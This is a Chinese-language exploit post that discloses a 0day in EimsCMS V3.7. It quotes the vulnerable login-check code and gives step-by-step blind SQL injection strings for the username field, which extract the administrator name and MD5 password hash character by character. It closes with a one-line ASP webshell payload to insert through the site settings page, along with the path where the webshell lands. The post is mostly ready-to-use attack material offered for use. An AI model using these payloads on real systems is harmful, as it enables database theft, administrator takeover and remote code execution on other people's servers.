by 不走的钟
EimsCMS V3.7 0day 默认后台:admin/login.asp 默认数据库:data/eimscms.mdb 漏洞文件: admin/checklogin.asp |
<!--#include file="../Include/1.asp" --> <!--#include file="../Include/Conn.asp"--> <!--#include file="../Include/Md5.asp"--> <% Response.Write "<html>" Response.Write "<head>" Response.Write "<meta http-equiv='Content-Type' content='text/html; charset=gb2312' />" Response.Write "<title>验证登陆</title>" Response.Write "</head>" Response.Write "<BODY>" '-------------------------------------------- Dim LoginName,LoginPassword,AdminName,Password,Permissions,UserName,Rs,Sql,UserID,SortID LoginName = Trim(Trim(Request.Form("LoginName"))) LoginPassword = Md5(Request.Form("LoginPassword")) If Session("CheckCode")<>Trim(Request.Form("CheckCode")) Then ClMsg("验证码错误!") Set Rs = Server.Createobject("Adodb.Recordset") Sql="Select * From [eims_User] Where Item1='"&LoginName&"'" //loginname显然没有过滤 Rs.Open Sql,Conn,1,1 If Rs.Eof Then ClMsg("此用户不存在!") Else UserID = Int(Trim(Rs("ItemID"))) SortID = Int(Trim(Rs("SortID"))) AdminName = Trim(Rs("Item1")) Password = Trim(Rs("Item2")) Permissions = Trim(Rs("Item9")) ItemRec = Trim(Rs("ItemRec")) End If If SortID <> 1 Then ClMsg("你不是管理员!") If Not ItemRec Then ClMsg("此用户已被冻结!") If LoginPassword<>Password Then ClMsg("密码错误!") If LoginName = AdminName And LoginPassword = Password Then //这句对loginname有比较,比较鸡肋……
利用:
http://127.0.0.1/admin/Login.asp
用户名注入构造语句如下:
a' or '1'='1 //提示“你不是管理员”说明sql成立因为'1'='1'成立
a' or (select top 1 len(Item1) from eims_User where ItemID=1)>=1 and '1'='1
//ItemID=1这个表示管理员 Item1表示管理员名
判断Item1的长度:
a' or (select top 1 len(Item1) from eims_User where ItemID=1)>=1 and '1'='1
用户名的值:
a' or (select top 1 asc(mid(Item1,6,1)) from eims_User where ItemID=1)=111 and '1'='1
密码的长度(默认为16位的md5):
a' or (select top 1 len(Item2) from eims_User where ItemID=1)=16 and '1'='1
//Item2为密码是16位的md5
16位密码的值:
a' or (select top 1 asc(mid(Item2,6,1)) from eims_User where ItemID=1)>=53 and '1'='1
后台拿shell :
登陆后台-网站设置-网站简介 插入内容如下:
www.007hack.com"+execute(request("007hack"))+"www.007hack.com
一句话木马地址:
http://127.0.0.1/Include/Config.asp
鸡肋二个地方,一是为access数据库,二是有验证码,但只有耐心手工一样可以破解出md5,无任何技术,记录下,下次再遇到就不用找表了……